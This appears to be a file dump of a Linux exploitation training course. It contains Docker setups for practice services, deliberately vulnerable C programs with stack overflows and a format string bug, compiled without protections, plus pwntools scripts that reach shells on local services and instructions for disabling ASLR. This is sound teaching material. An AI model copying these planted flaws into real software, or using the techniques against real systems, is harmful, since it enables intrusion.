's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 4 | RUN apt-get update 5 | RUN apt-get install -y xinetd 6 | RUN useradd -m $user 7 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 8 | COPY ./dragrace /home/$user/dragrace 9 | COPY ./flag /home/$user/flag 10 | COPY ./dragraceservice /etc/xinetd.d/dragraceservice 11 | RUN chown -R root:$user /home/$user 12 | RUN chmod -R 750 /home/$user 13 | RUN chown root:$user /home/$user/flag 14 | RUN chmod 440 /home/$user/flag 15 | EXPOSE 31337 16 | CMD ["/usr/sbin/xinetd", "-d"] 17 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/Makefile: -------------------------------------------------------------------------------- 1 | all: dragrace.c 2 | gcc -fno-stack-protector -zexecstack -o dragrace dragrace.c 3 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t dragrace . 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1345:31337 dragrace 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/dragrace: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/services/dragrace/dragrace -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/dragrace.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void violet(char * up) { 7 | char ginger[128]; 8 | strcpy(ginger, up); 9 | puts(ginger); 10 | } 11 | 12 | int main() { 13 | setvbuf(stdin, NULL, _IONBF, 0); 14 | setvbuf(stdout, NULL, _IONBF, 0); 15 | 16 | char * pearl = malloc(512); 17 | memset(pearl, 0, 512); 18 | printf("Hiiiiiie, I live at %p\n", pearl); 19 | printf("Entertain me: "); 20 | fgets(pearl, 512, stdin); 21 | if (pearl[0] == 82 && pearl[1] == 117 && pearl[2] == 39 && 22 | pearl[3] == 80 && pearl[4] == 97 && pearl[5] == 117 && 23 | pearl[6] == 108 && pearl[7] == 115) { 24 | puts("We were living!"); 25 | violet(pearl); 26 | } 27 | else { 28 | puts("Shashay away!\n"); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/dragraceservice: -------------------------------------------------------------------------------- 1 | service dragraceservice 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = draguser 8 | bind = 0.0.0.0 9 | server = /home/draguser/dragrace 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | 14 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/dragrace/flag: -------------------------------------------------------------------------------- 1 | GCTF{sh3_alr34dy_d0n3_h4d_h3r535} 2 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:trusty 2 | ENV user=jukeboxuser 3 | RUN dpkg --add-architecture i386 4 | RUN sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 5 | RUN apt-get update 6 | RUN apt-get install -y xinetd libc6:i386 libncurses5:i386 libstdc++6:i386 ed 7 | RUN useradd -m $user 8 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 9 | COPY ./jukebox /home/$user/jukebox 10 | COPY ./flag /home/$user/flag 11 | COPY ./jukeboxservice /etc/xinetd.d/jukeboxservice 12 | RUN chown -R root:$user /home/$user 13 | RUN chmod -R 750 /home/$user 14 | RUN chown root:$user /home/$user/flag 15 | RUN chmod 440 /home/$user/flag 16 | EXPOSE 31337 17 | CMD ["/usr/sbin/xinetd", "-d"] 18 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/Makefile: -------------------------------------------------------------------------------- 1 | all: jukebox.c 2 | gcc -m32 -fstack-protector -o jukebox jukebox.c 3 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/diapers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/services/mystery_jukebox/diapers -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/diaperservice: -------------------------------------------------------------------------------- 1 | service diaperservice 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = diaperuser 8 | bind = 0.0.0.0 9 | server = /home/diaperuser/diapers 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | 14 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t jukebox . 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1343:31337 jukebox 4 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/flag: -------------------------------------------------------------------------------- 1 | GCTF{Th3_0ld3_tun3s_4r3_th3_b4st} 2 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/jukebox: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/services/mystery_jukebox/jukebox -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/jukebox.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | struct musics { 6 | char brand[12]; 7 | int vol; 8 | char brand_message[100]; 9 | }; 10 | 11 | char * easter_egg = "d8dae94c2028d44c6cfe7834348df6659096102c3412988ebc1ff033bdbfb319"; 12 | 13 | void change_vinyl(struct musics * musics_obj) { 14 | int length = strlen(musics_obj->brand); 15 | printf("Please enter vinyl to change to: "); 16 | fread(musics_obj->brand, length, 1, stdin); 17 | printf("Musical brand changed to: %s\n", musics_obj->brand); 18 | } 19 | 20 | void change_volumes(struct musics * musics_obj) { 21 | --musics_obj->vol; 22 | printf("Changed volume. Current level: %d\n", musics_obj->vol); 23 | } 24 | 25 | void make_louder(struct musics * musics_obj) { 26 | ++musics_obj->vol; 27 | printf("Much louder\n"); 28 | } 29 | 30 | void do_getdown(struct musics * musics_obj) { 31 | printf("And now a message from our sponsors:\n"); 32 | printf(musics_obj->brand_message); 33 | puts("\n"); 34 | if (musics_obj->vol) { 35 | printf("Sorry, you're not allowed to do the get down unless its quiet\n"); 36 | } 37 | else { 38 | puts("Ohhhhhhh you got it alllll the way down;ed"); 39 | exit(0); 40 | } 41 | } 42 | 43 | void musics_simulator() { 44 | // Zero the diaper struct 45 | struct musics musics_profile; 46 | memset(&musics_profile, 0, sizeof(musics_profile)); 47 | 48 | // Display a list of diaper brands to set 49 | printf("Pick a brand:\n"); 50 | printf("1. Eargasms\n"); 51 | printf("2. Sunny\n"); 52 | printf("3. Follow Rabbit\n"); 53 | printf("4. Memememe\n"); 54 | printf("5. Chilled ZZZZ\n"); 55 | printf("> "); 56 | 57 | // Get number from user 58 | int choice = 0; 59 | scanf("%d", &choice); 60 | 61 | // Check that number is within the range 62 | if (choice <= 0 || choice > 5) { 63 | printf("Invalid Musics brand\n"); 64 | exit(1); 65 | } 66 | 67 | // Initialise the diapers with the parameters 68 | switch(choice) { 69 | case 1: 70 | memcpy(musics_profile.brand, "Eargasms", 8); 71 | strcpy(musics_profile.brand_message, "Happy ears!"); 72 | break; 73 | case 2: 74 | memcpy(musics_profile.brand, "Sun", 3); 75 | strcpy(musics_profile.brand_message, "Sunshines and sparkles"); 76 | break; 77 | case 3: 78 | memcpy(musics_profile.brand, "Follow Rabbit", 12); 79 | strcpy(musics_profile.brand_message, "One pill will make you smarter, one pill makes you tall. Ask Alice. When she's ten feet tall."); 80 | break; 81 | case 4: 82 | memcpy(musics_profile.brand, "Memememe", 8); 83 | strcpy(musics_profile.brand_message, "Best songs of your life!"); 84 | break; 85 | case 5: 86 | memcpy(musics_profile.brand, "Chilled ZZZZ", 12); 87 | strcpy(musics_profile.brand_message, "zz"); 88 | break; 89 | } 90 | musics_profile.vol = 256; // Wetness 91 | 92 | char cont = 1; 93 | while (cont) { 94 | if (musics_profile.vol) { 95 | printf("The volume's too loud!!!\n"); 96 | } 97 | else { 98 | printf("Silence is the best..\n"); 99 | } 100 | printf("0) Change Vinyl\n"); 101 | printf("1) Lower Z Volume\n"); 102 | printf("2) Leave\n"); 103 | printf("> "); 104 | scanf("%d", &choice); 105 | switch(choice) { 106 | case 0: 107 | change_vinyl(&musics_profile); 108 | break; 109 | case 1: 110 | change_volumes(&musics_profile); 111 | break; 112 | case 2: 113 | do_getdown(&musics_profile); 114 | break; 115 | case 42: 116 | make_louder(&musics_profile); 117 | break; 118 | default: 119 | printf("Invalid choice\n"); 120 | break; 121 | } 122 | choice = -1; 123 | } 124 | } 125 | 126 | int main() { 127 | setvbuf(stdin, NULL, _IONBF, 0); 128 | setvbuf(stdout, NULL, _IONBF, 0); 129 | 130 | puts("Welcome to the Mystery Jukebox Machine\n"); 131 | musics_simulator(); 132 | } 133 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/jukeboxservice: -------------------------------------------------------------------------------- 1 | service jukeboxservice 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = jukeboxuser 8 | bind = 0.0.0.0 9 | server = /home/jukeboxuser/jukebox 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | 14 | -------------------------------------------------------------------------------- /lessons/14_advanced_exercises/services/mystery_jukebox/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/14_advanced_exercises/services/mystery_jukebox/libc-2.19.so -------------------------------------------------------------------------------- /lessons/1_setting_up_environment/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Setting Up the Environment 2 | 3 | We will be using vagrant to standardise the environment so following the lesson 4 | plan is easy. The Vagrantfile will provision the appropriate pre-requisites but 5 | please go through this document to get an understanding of the steps required to 6 | prepare the testing environment. 7 | 8 | ## Mandatory Steps 9 | 10 | First, install vagrant and virtualbox. Vagrant can be downloaded from [this 11 | link][vagrantdl]. Virtualbox can be downloaded from [here][virtualboxdl]. 12 | 13 | Next, clone the repository onto your host machine. If you have messed up 14 | somewhere along the course and want to revert the state of the repository, just 15 | delete the entire directory and perform this step again. 16 | 17 | ```shell 18 | amon@bethany:~$ git clone https://github.com/nnamon/linux-exploitation-course.git 19 | Cloning into 'linux-exploitation-course'... 20 | remote: Counting objects: 19, done. 21 | remote: Compressing objects: 100% (14/14), done. 22 | remote: Total 19 (delta 2), reused 15 (delta 1), pack-reused 0 23 | Unpacking objects: 100% (19/19), done. 24 | Checking connectivity... done. 25 | amon@bethany:~$ 26 | ``` 27 | 28 | Now, bring the vagrant box up. 29 | 30 | ```shell 31 | amon@bethany:~/sproink/linux-exploitation-course$ vagrant up 32 | Bringing machine 'default' up with 'virtualbox' provider... 33 | ==> default: Importing base box 'ubuntu/xenial64'... 34 | ==> default: Matching MAC address for NAT networking... 35 | ==> default: Checking if box 'ubuntu/xenial64' is up to date... 36 | ==> default: Setting the name of the VM: linux-exploitation-course_default_1483872823092_95278 37 | ==> default: Clearing any previously set network interfaces... 38 | ==> default: Preparing network interfaces based on configuration... 39 | default: Adapter 1: nat 40 | ==> default: Forwarding ports... 41 | default: 22 (guest) => 2222 (host) (adapter 1) 42 | ==> default: Running 'pre-boot' VM customizations... 43 | ==> default: Booting VM... 44 | ==> default: Waiting for machine to boot. This may take a few minutes... 45 | default: SSH address: 127.0.0.1:2222 46 | default: SSH username: ubuntu 47 | default: SSH auth method: password 48 | default: 49 | default: Inserting generated public key within guest... 50 | default: Removing insecure key from the guest if it's present... 51 | default: Key inserted! Disconnecting and reconnecting using new SSH key... 52 | ... snip ... 53 | ``` 54 | 55 | Once the provisioning finishes, you can ssh into the vagrant box. 56 | 57 | ```shell 58 | amon@bethany:~/linux-exploitation-course$ vagrant ssh 59 | Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-57-generic x86_64) 60 | 61 | * Documentation: https://help.ubuntu.com 62 | * Management: https://landscape.canonical.com 63 | * Support: https://ubuntu.com/advantage 64 | 65 | Get cloud support with Ubuntu Advantage Cloud Guest: 66 | http://www.ubuntu.com/business/services/cloud 67 | 68 | 0 packages can be updated. 69 | 0 updates are security updates. 70 | 71 | 72 | ubuntu@ubuntu-xenial:~$ ls -la 73 | total 28 74 | drwxr-xr-x 4 ubuntu ubuntu 4096 Jan 8 10:54 . 75 | drwxr-xr-x 3 root root 4096 Jan 8 10:54 .. 76 | -rw-r--r-- 1 ubuntu ubuntu 220 Aug 31 2015 .bash_logout 77 | -rw-r--r-- 1 ubuntu ubuntu 3771 Aug 31 2015 .bashrc 78 | drwx------ 2 ubuntu ubuntu 4096 Jan 8 10:54 .cache 79 | -rw-r--r-- 1 ubuntu ubuntu 655 Jun 24 2016 .profile 80 | drwx------ 2 ubuntu ubuntu 4096 Jan 8 10:54 .ssh 81 | -rw-r--r-- 1 ubuntu ubuntu 0 Jan 8 10:54 .sudo_as_admin_successful 82 | ubuntu@ubuntu-xenial:~$ 83 | ``` 84 | 85 | The course repository directory you clone previously will be mounted at 86 | `/vagrant` so you can use your preferred text editor. 87 | 88 | Now, we need to start the docker containers for the exercises you will be 89 | working on. To do this, perform the following steps: 90 | 91 | ```shell 92 | ubuntu@ubuntu-xenial:/vagrant$ ./builddocker.sh 93 | Building lessons/3_intro_to_tools/services/gdbreversing 94 | Sending build context to Docker daemon 16.38 kB 95 | Step 1 : FROM ubuntu:latest 96 | ---> 104bec311bcd 97 | ... snip ... 98 | Step 17 : CMD /usr/sbin/xinetd -d 99 | ---> Using cache 100 | ---> 257fc44d2439 101 | Successfully built 257fc44d2439 102 | ubuntu@ubuntu-xenial:/vagrant$ ./deploydocker.sh 103 | Stopping all docker containers. 104 | b70d9d49b7b9 105 | ... snip ... 106 | 432be332c15e037a3b0c2bc7465db673e8777bce0b0fe823cfbc8161eeeaf066 107 | ubuntu@ubuntu-xenial:/vagrant$ 108 | ``` 109 | 110 | You do not need to rebuild the docker containers after you have built them once 111 | but you may need to redeploy the docker containers if you restart the machine. 112 | 113 | ## Windows Users 114 | 115 | For Windows users there are two options: 116 | 117 | 1. Start a virtual machine containing Ubuntu 16.04 and run the provisioning 118 | script found below. Next, manually clone the course repository into the 119 | machine. Note that directory locations may be different from the code 120 | listings in the course if you go down this route. The choice of 121 | virtualisation software you choose is up to you. 122 | 2. Install Vagrant and Virtualbox for Windows. This allows you to follow the 123 | instructions above almost identically. 124 | 125 | One caveat with Option 2 is that your Windows Installation might not have SSH 126 | installed previously. When you invoke `vagrant ssh`, you might receive a message 127 | as follows: 128 | 129 | ```shell 130 | D:\linux-exploitation-course>vagrant ssh 131 | `ssh` executable not found in any directories in the %PATH% variable. Is an 132 | SSH client installed? Try installing Cygwin, MinGW or Git, all of which 133 | contain an SSH client. Or use your favorite SSH client with the following 134 | authentication information shown below: 135 | 136 | Host: 127.0.0.1 137 | Port: 2222 138 | Username: ubuntu 139 | Private key: 140 | D:/linux-exploitation-course/.vagrant/machines/default/virtualbox/private_key 141 | ``` 142 | 143 | In that case, simply follow the instructions to SSH into the newly provisioned 144 | system with an SSH client of your choice such as Putty or SmarTTY. 145 | 146 | ## What Was Installed? 147 | 148 | This is the entire provisioning script: 149 | 150 | ```bash 151 | #!/bin/bash 152 | dpkg --add-architecture i386 153 | cp /etc/apt/sources.list /etc/apt/sources.list.old 154 | sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 155 | apt-get update 156 | apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone libffi-dev 157 | hash -r 158 | pip install --upgrade pip 159 | pip install ropgadget 160 | pip install pwntools 161 | pip install ipython 162 | pip install ropper 163 | git clone https://github.com/longld/peda.git /home/ubuntu/peda 164 | echo "source ~/peda/peda.py" >> /home/ubuntu/.gdbinit 165 | git clone https://github.com/niklasb/libc-database.git /home/ubuntu/libc-database 166 | cd /home/ubuntu/libc-database 167 | /home/ubuntu/libc-database/add /lib/i386-linux-gnu/libc.so.6 168 | /home/ubuntu/libc-database/add /lib/x86_64-linux-gnu/libc.so.6 169 | apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D 170 | echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | tee /etc/apt/sources.list.d/docker.list 171 | apt-get update 172 | apt-get install -y linux-image-extra-$(uname -r) linux-image-extra-virtual 173 | apt-get install -y docker-engine 174 | groupadd docker 175 | usermod -aG docker ubuntu 176 | service docker start 177 | ``` 178 | 179 | If you used vagrant to bring the machine up, this should have been done for you. 180 | 181 | [vagrantdl]: https://www.vagrantup.com/downloads.html 182 | [virtualboxdl]: https://www.virtualbox.org/wiki/Downloads 183 | -------------------------------------------------------------------------------- /lessons/2_linux_binaries/lessonplan.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/2_linux_binaries/lessonplan.md -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_sample 2_interactive 3_reversing 2 | 3 | 1_sample: 4 | gcc -o ./build/1_sample ./src/1_sample.c 5 | 6 | 2_interactive: 7 | gcc -o ./build/2_interactive ./src/2_interactive.c 8 | 9 | 3_reversing: 10 | gcc -o ./build/3_reversing ./src/3_reversing.c 11 | cp ./build/3_reversing ./services/gdbreversing/gdbrev 12 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/build/1_sample: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/3_intro_to_tools/build/1_sample -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/build/2_interactive: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/3_intro_to_tools/build/2_interactive -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/build/3_reversing: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/3_intro_to_tools/build/3_reversing -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/scripts/1_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | pass 7 | 8 | if __name__ == '__main__': 9 | main() 10 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/scripts/2_shellsample.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | p = process("/bin/sh") 7 | p.interactive() 8 | 9 | if __name__ == '__main__': 10 | main() 11 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/scripts/3_interactive.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a local process 7 | p = process("../build/2_interactive") 8 | 9 | # Get rid of the prompt 10 | data1 = p.recvrepeat(0.2) 11 | log.info("Got data: %s" % data1) 12 | 13 | # Send the password 14 | p.sendline("TheRealPassword") 15 | 16 | # Check for success or failure 17 | data2 = p.recvline() 18 | log.info("Got data: %s" % data2) 19 | if "Correct" in data2: 20 | # Hand interaction over to the user if successful 21 | log.success("Success! Enjoy your shell!") 22 | p.interactive() 23 | else: 24 | log.failure("Password was incorrect.") 25 | 26 | if __name__ == "__main__": 27 | main() 28 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/scripts/4_networked.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a local process 7 | #p = process("../build/2_interactive") 8 | p = remote("localhost", 1330) 9 | 10 | # Get rid of the prompt 11 | data1 = p.recvrepeat(0.2) 12 | log.info("Got data: %s" % data1) 13 | 14 | # Send the password 15 | p.sendline("TheRealPassword") 16 | 17 | # Check for success or failure 18 | data2 = p.recvline() 19 | log.info("Got data: %s" % data2) 20 | if "Correct" in data2: 21 | # Hand interaction over to the user if successful 22 | log.success("Success! Enjoy your shell!") 23 | p.interactive() 24 | else: 25 | log.failure("Password was incorrect.") 26 | 27 | if __name__ == "__main__": 28 | main() 29 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/scripts/5_gdb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a new process 7 | p = process("../build/3_reversing") 8 | 9 | # Name and Token 10 | name = "Test Name".ljust(63, "\x00") 11 | token = 0x41414141 12 | 13 | # Print pid 14 | raw_input(str(p.proc.pid)) 15 | 16 | # Send name and token 17 | p.send(name) 18 | p.send(p32(token)) 19 | 20 | # Start an interactive session 21 | p.interactive() 22 | 23 | if __name__ == "__main__": 24 | main() 25 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/scripts/6_gdbsol.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a new process 7 | p = process("../build/3_reversing") 8 | 9 | # Name and Token 10 | name = "Santo & Johnny".ljust(63, "\x00") 11 | token = 0xdeadc0de 12 | 13 | # Send name and token 14 | p.send(name) 15 | p.send(p32(token)) 16 | 17 | # Start an interactive session 18 | p.interactive() 19 | 20 | if __name__ == "__main__": 21 | main() 22 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/scripts/7_gdbremote.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a new process 7 | p = remote("localhost", 1900) 8 | 9 | # Name and Token 10 | name = "Santo & Johnny".ljust(63, "\x00") 11 | token = 0xdeadc0de 12 | 13 | # Send name and token 14 | p.send(name) 15 | p.send(p32(token)) 16 | 17 | # Start an interactive session 18 | p.interactive() 19 | 20 | if __name__ == "__main__": 21 | main() 22 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/services/gdbreversing/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | ENV user=gdbrev 3 | RUN dpkg --add-architecture i386 4 | RUN sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 5 | RUN apt-get update 6 | RUN apt-get install -y xinetd libc6:i386 libncurses5:i386 libstdc++6:i386 7 | RUN useradd -m $user 8 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 9 | COPY ./gdbrev /home/$user/gdbrev 10 | COPY ./flag /home/$user/flag 11 | COPY ./gdbrevservice /etc/xinetd.d/gdbrevservice 12 | RUN chown -R root:$user /home/$user 13 | RUN chmod -R 750 /home/$user 14 | RUN chown root:$user /home/$user/flag 15 | RUN chmod 440 /home/$user/flag 16 | EXPOSE 31337 17 | CMD ["/usr/sbin/xinetd", "-d"] 18 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/services/gdbreversing/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t gdbreversing . 4 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/services/gdbreversing/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1900:31337 gdbreversing 4 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/services/gdbreversing/flag: -------------------------------------------------------------------------------- 1 | flag{C0ngr4ts_0n_y0ur_f1rst_fl4g} 2 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/services/gdbreversing/gdbrev: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/3_intro_to_tools/services/gdbreversing/gdbrev -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/services/gdbreversing/gdbrevservice: -------------------------------------------------------------------------------- 1 | service gdbrevservice 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = gdbrev 8 | bind = 0.0.0.0 9 | server = /home/gdbrev/gdbrev 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/src/1_sample.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | puts("Hello, I am a sample program."); 6 | } 7 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/src/2_interactive.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void give_shell() { 6 | system("/bin/sh"); 7 | } 8 | 9 | int main() { 10 | // Disable buffering on stdin and stdout to make network connections better. 11 | setvbuf(stdin, NULL, _IONBF, 0); 12 | setvbuf(stdout, NULL, _IONBF, 0); 13 | 14 | char * password = "TheRealPassword"; 15 | char user_password[200]; 16 | 17 | puts("Welcome to the Super Secure Shell"); 18 | printf("Password: "); 19 | 20 | scanf("%199s", user_password); 21 | if (strcmp(password, user_password) == 0) { 22 | puts("Correct password!"); 23 | give_shell(); 24 | } 25 | else { 26 | puts("Incorrect password!"); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /lessons/3_intro_to_tools/src/3_reversing.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int check_creds(char * name, uint32_t token) { 8 | if (strcmp("Santo & Johnny", name) == 0) { 9 | if (token == 0xdeadc0de) { 10 | return 0; 11 | } 12 | } 13 | return 1; 14 | } 15 | 16 | int main() { 17 | // Disable buffering on stdin and stdout to make network connections better. 18 | setvbuf(stdin, NULL, _IONBF, 0); 19 | setvbuf(stdout, NULL, _IONBF, 0); 20 | 21 | uint32_t token = 0x41414141; 22 | char name[64] = {0}; 23 | 24 | printf("Name: "); 25 | read(0, name, 63); 26 | printf("Token: "); 27 | read(0, &token, 4); 28 | 29 | printf("Submitted Name: %s\n", name); 30 | printf("Submitted Token: 0x%x\n", token); 31 | 32 | if (check_creds(name, token) == 0) { 33 | printf("Success, Welcome %s.\n", name); 34 | system("/bin/sh"); 35 | } 36 | else { 37 | puts("Incorrect credentials."); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /lessons/4_classic_exploitation/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_vulnerable 2 | 3 | 1_vulnerable: 4 | gcc -m32 -fno-stack-protector -zexecstack -o ./build/1_vulnerable ./src/1_vulnerable.c 5 | -------------------------------------------------------------------------------- /lessons/4_classic_exploitation/build/1_vulnerable: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/4_classic_exploitation/build/1_vulnerable -------------------------------------------------------------------------------- /lessons/4_classic_exploitation/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Classic Exploitation Technique 2 | 3 | Let us revisit the classical technique of exploiting a stack overflow on a 4 | binary with no protections enabled and ASLR turned off. We will do a 5 | demonstration on a [binary][1] compiled from the following [source code][2]: 6 | 7 | ```c 8 | #include 9 | #include 10 | 11 | void vuln() { 12 | char buffer[16]; 13 | read(0, buffer, 100); 14 | puts(buffer); 15 | } 16 | 17 | int main() { 18 | vuln(); 19 | } 20 | ``` 21 | 22 | The binary was compiled with the following flags: 23 | 24 | ```shell 25 | gcc -m32 -fno-stack-protector -zexecstack -o ./build/1_vulnerable ./src/1_vulnerable.c 26 | ``` 27 | 28 | Before running the binary, disable ASLR with the command: 29 | 30 | ```shell 31 | ubuntu@ubuntu-xenial:/vagrant$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 32 | 0 33 | ``` 34 | 35 | Verify that ASLR is indeed turned off. 36 | 37 | ```shell 38 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable 39 | linux-gate.so.1 => (0xf7ffd000) 40 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000) 41 | /lib/ld-linux.so.2 (0x56555000) 42 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable 43 | linux-gate.so.1 => (0xf7ffd000) 44 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000) 45 | /lib/ld-linux.so.2 (0x56555000) 46 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable 47 | linux-gate.so.1 => (0xf7ffd000) 48 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000) 49 | /lib/ld-linux.so.2 (0x56555000) 50 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ 51 | ``` 52 | 53 | Also, all protections are off. 54 | 55 | ```shell 56 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ checksec ./1_vulnerable 57 | [*] 